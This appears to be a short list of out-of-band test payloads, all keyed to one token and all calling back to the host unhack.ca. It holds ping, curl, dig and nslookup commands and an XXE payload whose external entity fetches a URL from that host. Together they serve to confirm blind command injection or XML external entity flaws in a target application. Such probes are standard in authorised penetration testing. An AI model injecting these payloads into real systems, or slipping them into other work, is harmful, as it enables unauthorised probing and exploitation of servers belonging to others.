$ ping -c1 -p 00247b956954509a74f72b783dc48500 unhack.ca
$ curl http://unhack.ca/p/247b956954509a74f72b783dc485
$ dig 247b956954509a74f72b783dc485 @unhack.ca
$ dig 247b956954509a74f72b783dc485.ns.unhack.ca
C:\> nslookup 247b956954509a74f72b783dc485 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/247b956954509a74f72b783dc485">]> <foo>&xxe;</foo>